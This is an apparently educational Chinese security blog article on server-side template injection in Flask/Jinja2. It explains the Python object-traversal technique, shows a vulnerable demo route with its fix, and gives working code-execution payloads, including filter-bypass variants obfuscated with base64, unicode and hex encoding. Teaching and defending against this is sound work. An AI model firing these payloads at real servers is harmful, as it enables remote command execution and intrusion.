Web注入的另一种方法——SSTI注入

百家 作者:焦点安全应急响应中心 2022-02-18 20:11:57
01
前言

FSRC经验分享”系列文章,旨在分享焦点安全工作过程中的经验和成果,包括但不限于漏洞分析、运营技巧、SDL推行、等保合规、自研工具等。

欢迎各位安全从业者持续关注!


约8000字   推荐阅读时间:16分钟



02
什么是SSTI注入

SSTI(Server-Side Template Injection)是服务端模板注入的缩写。模板引擎可以让网站/程序实现界面与数据分离,业务代码与逻辑代码的分离,大大提升了开发效率。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE。通常来说,这类问题会在blog,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。


和常见Web注入的成因一样,SSTI也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。 


SSTI在CTF中经常出现,本篇文章从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎。



03
Flask和Jinja2简介

Flask是一个python的轻量级web框架, 类似Java的SSM/SSH这种web框架, 允许使用者构建web应用。Flask的两大核心组件如下:

  • Werkzeug:一个WSGI的工具包, 用于实现一个Web框架的底层, 例如最基础的接受请求和发送响应。

  • jinja2:今天的主角,一个模板引擎, 类似Java的Velocity,用于渲染生成HTML。



Jinja2 语法



  • {% ... %} for Statements

  • {{ ... }} for Expressions to print to the template output

  • {# ... #} for Comments not included in the template output


{# note: commented-out template because we no longer use this     {% for user in users %}         {{ user }}         ...     {% endfor %} #}# {% ... %} for Statements# {{ ... }} for Expressions to print to the template output# {# ... #} for Comments not included in the template output for Statements{# note: commented-out template because we no longer use this     {% for user in users %}         {{ user }}         ...     {% endfor %} #}




Flask Demo


我们实现一个简单渲染用户输入的Demo,便于大家理解jinja2的渲染。

from flask import Flask, request from jinja2 import Template  app = Flask(__name__)  @app.route('/vul') def vul():     name = request.args.get('name','bacon')     t = Template('I am ' + name)     # t = Template('I am %s'%(name))     return t.render()  @app.route('/fix') def fix():     name = request.args.get('name','bacon')     t = Template('I am {{username}}')     return t.render(username=name)  if __name__ == '__main__':     app.run()




04
Python的魔术方法

在Python中,所有以“__”双下划线包起来的方法,都统称为“Magic Method”,中文称“魔术方法”。魔术方法在类或对象的某些事件触发后会自动执行。



首先找到object类


__class__ 方法

>>> 'bacon'.__class__ <class 'str'> >>> ['bacon'].__class__ <class 'list'

__bases__  /  __base__ 方法

__bases__ 返回tuple, 返回类的基类们, 准确来说是直接基类们

__base__ 返回type, 返回类的基类, 准确来说是直接基类

>>> str.__base__ <class 'object'> >>> 'bacon'.__class__.__bases__ (<class 'object'>,) >>> 'bacon'.__class__.__base__ <class 'object'>

__mro__ 方法

返回tuple, 返回类的方法解析顺序, 类的mro由父类的mro组成, 且父类排在类的后面

>>> str.__mro__ (<class 'str'>, <class 'object'>) >>> 'bacon'.__class__.__mro__ (<class 'str'>, <class 'object'>) >>> class GrandFather(): ...     pass ... >>> class Father(GrandFather): ...     pass ... >>> class Son(Father): ...     pass ... >>> Son.__mro__ (<class '__main__.Son'>, <class '__main__.Father'>, <class '__main__.GrandFather'>, <class 'object'>)

自此已经有三种方法可以找到object类了。



调用子类的方法


__subclasses__()

返回dict, 返回类的子类们, 准确来说是直接子类们

>>> object.__subclasses__() [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>......] >>> 'bacon'.__class__.__base__.__subclasses__() [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>......] >>> class Father(): ...     pass ... >>> class Son(Father): ...     pass ... >>> class Daughter(Father): ...     pass ... >>> Father.__subclasses__() [<class '__main__.Son'>, <class '__main__.Daughter'>]

自此已经能调用object的子类们的任意方法了。


>>> class Father(): ...     pass ... >>> class Son(Father): ...     def __init__(self,): ...             print('init') ...     def messup(self,): ...             print('messup') ... >>> son = Son().messup() init messup >>> son = Father.__subclasses__()[0]().messup() init messup



读取文件


例如python2利用file类的构造方法读文件:

python3利用_frozen_importlib_external.FileLoader类的get_data方法读文件:



后续的操作


看到这里不免有点疑问,为什么都能读文件了还要接着往下讲?因为离真正RCE还有点距离。

__globals__

返回dict, 返回函数当前命名空间的全局变量们

>>> import os >>> class Test(): ...     def __init__(self,): ...             pass ... >>> Test().__init__.__globals__ {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'os': <module 'os' from 'C:\\Users\\baconXpy\\AppData\\Local\\Programs\\Python\\Python39\\lib\\os.py'>, 'Test': <class '__main__.Test'>} >>> Test().__init__.__globals__['os'].system('dir')  Volume in drive C is 本地磁盘  Volume Serial Number is xx   Directory of C:\Users\bacon  ...

以上可以看出, 通过寻找引入os的类调用system或者popen这种函数实现RCE。

当然, 类也不止这一个, 另外还可以去__builtins__ 里找内建函数eval实现RCE。

但通常固定的是当作跳板查看global的类的函数: __init__

原因有以下两点:

  • 构造函数每个类都有

  • 构造函数被重载的几率比较大


至于为什么要被重载, 是因为__globals__ 是函数的属性, 而__init__ /__repr__ 这类魔法函数在没重载之前, 并不是一个函数, 而是C-implemented function的wrapper, 因此没有global属性。

当然, 使用__init__ 完全是处于通用性考虑,并不是非他不可。

 >>> import os >>> class Test(): ...     def f(self,): ...             pass ... >>> dir(Test()) ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'f'] >>> Test().f.__globals__ {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'os': <module 'os' (built-in)>, 'Test': <class '__main__.Test'>} >>> Test().__init__ <method-wrapper '__init__' of Test object at 0x0000028DE6EEF250> >>> Test().f <bound method Test.f of <__main__.Test object at 0x0000028DE6E9C610>>

如上, 在__init__ 没被重载的时候(slot wrapper/method-wrapper), 通过找类的其余方法也是可行的。

总的来说,构造函数每个类都有,但不一定重载;类自己定义的方法,每个类名称不统一,但至少是个函数。


5
Exp&Fix

通过对python魔法函数的分析, 不难看出挖ssti和挖反序列化的gadget一样需要 运气 耐心,,也 不需要 还没遇到特别通杀的payload。


有一个开源的工具,但局限性也不小

 https://github.com/epinna/tplmap


理解原理后exp也很容易写出一两个,以找catch_warnings下的eval这个builtin_func为例,给出一个poc:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}     {% if b.__class__ == {}.__class__ %}     {% if 'eval' in b.keys() %}       {{ b['eval']('__import__("os").popen("whoami").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %}



fix参考 Flask Demo 的fix路由。



基础Bypass


字符串拼接

{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}  [].__class__.__base__.__subclasses__()[40]("/fl""ag").read()   [].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()


编码

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}   {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}   {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}



6
其他说明

 使用了eval的gadgets类,比如:

  • warnings.catch_warning

  • WarningMessage

  • codecs.IncrementalEncoder

  • codecs.IncrementalDecoder

  • codecs.StreamReaderWriter

  • os._wrap_close

  • reprlib.Repr

  • weakref.finalize

通过找 _frozen_importlib.BuiltinImporter 类导入os模块也可以RCE。

>>> object.__subclasses__()[84] <class '_frozen_importlib.BuiltinImporter'> >>> object.__subclasses__()[84].load_module('os') <module 'os' (built-in)> >>> object.__subclasses__()[84].load_module('os').system('whoami') bacon


5
参考资料及免责声明

stackoverflow的官方QA文档

https://stackoverflow.com/questions/10401935/python-method-wrapper-type


jinja官方说明

https://jinja.palletsprojects.com/en/3.0.x/


本文中提到的相关资源已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。


本文编辑:小错





精彩推荐




几个小技巧,绕过SSRF的黑白名单

PHP反序列化漏洞

管好你的API——API的安全防护


焦点安全,因你而变
焦点科技漏洞提交网址:https://security.focuschina.com


关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接